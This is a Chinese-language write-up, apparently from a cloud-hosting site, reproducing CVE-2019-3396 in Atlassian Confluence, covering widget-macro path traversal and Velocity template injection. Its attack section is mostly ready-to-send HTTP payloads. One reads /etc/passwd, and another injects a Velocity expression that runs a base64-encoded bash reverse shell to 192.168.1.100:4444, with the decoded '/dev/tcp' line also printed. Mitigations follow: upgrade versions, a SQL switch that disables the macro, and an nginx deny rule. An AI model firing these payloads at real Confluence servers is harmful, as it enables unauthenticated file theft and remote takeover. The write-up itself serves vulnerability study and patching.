您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Atlassian Confluence路径穿越与命令执行漏洞CVE-2019-3396复现分析
## 漏洞概述
CVE-2019-3396是Atlassian Confluence Server和Data Center版本中存在的一个高危漏洞,该漏洞组合了**路径穿越**和**命令执行**两种攻击方式,允许未经认证的攻击者通过精心构造的HTTP请求实现服务器端文件读取和远程代码执行(RCE)。根据CVSS v3评分标准,该漏洞被评定为**9.8分(Critical)**。
### 受影响版本
- Confluence Server: 6.6.0 - 6.12.3
- Confluence Server: 6.13.0 - 6.13.3
- Confluence Server: 6.14.0 - 6.14.2
## 漏洞原理
### 1. Widget Connector组件路径穿越
漏洞核心存在于Confluence的Widget Connector宏功能中。攻击者通过构造特殊的`file://`协议请求,利用服务端对用户输入校验不足的缺陷,实现任意文件读取(Path Traversal)。
### 2. Velocity模板注入
结合Confluence对Velocity模板引擎的使用缺陷,攻击者可通过注入恶意模板代码,最终实现服务器命令执行。
## 环境搭建
### 实验环境要求
- 虚拟机:VMware Workstation 16+
- 操作系统:Ubuntu 20.04 LTS
- 目标软件:Confluence 6.12.2(官方已下架,需从第三方获取)
- Java环境:JDK 8u201
```bash
# 下载特定版本Confluence
wget https://archive.org/download/confluence-6.12.2/atlassian-confluence-6.12.2-x64.bin
# 安装步骤
chmod +x atlassian-confluence-6.12.2-x64.bin
sudo ./atlassian-confluence-6.12.2-x64.bin
使用Nmap扫描目标服务端口:
nmap -sV -p 8090 192.168.1.100
构造恶意请求读取/etc/passwd
文件:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json
{
"contentId": "1",
"macro": {
"name": "widget",
"params": {
"url": "file:///etc/passwd",
"width": "1000",
"height": "1000",
"_template": "xxx"
},
"body": ""
}
}
预期响应应包含系统用户信息:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
通过Velocity模板注入实现RCE:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json
{
"contentId":"1",
"macro":{
"name":"widget",
"params":{
"url":"file:///opt/atlassian/confluence/confluence/WEB-INF/web.xml",
"width":"1000",
"height":"1000",
"_template":"xxx"
},
"body":""
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target:8090
Content-Type: application/json
{
"contentId":"1",
"macro":{
"name":"widget",
"params":{
"url":"http://attacker.com",
"width":"1000",
"height":"1000",
"_template":"../web.xml",
"userName":"#set($e='exp')$e.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}')"
},
"body":""
}
}
Atlassian已发布修复版本: - 6.6.16+ - 6.12.4+ - 6.13.4+ - 6.14.3+
升级命令示例:
sudo /opt/atlassian/confluence/bin/stop-confluence.sh
wget https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.15.0-x64.bin
sudo ./atlassian-confluence-6.15.0-x64.bin
禁用Widget Connector宏:
UPDATE BANDANA SET BANDANAVALUE = 'false'
WHERE BANDANACONTEXT = '_GLOBAL'
AND BANDANAKEY = 'confluence.macro.widget.enabled';
网络层防护:
location ~ ^/rest/ {
deny all;
return 403;
}
WidgetMacro.java
未过滤file://
协议DefaultVelocityManager.java
未校验模板路径VelocityServlet.java
执行模板渲染时未做安全限制Base64编码的反弹Shell解码后:
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
”`
注:实际复现时请确保: 1. 在隔离环境操作 2. 已获得目标系统所有权 3. 遵守当地网络安全法律法规
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。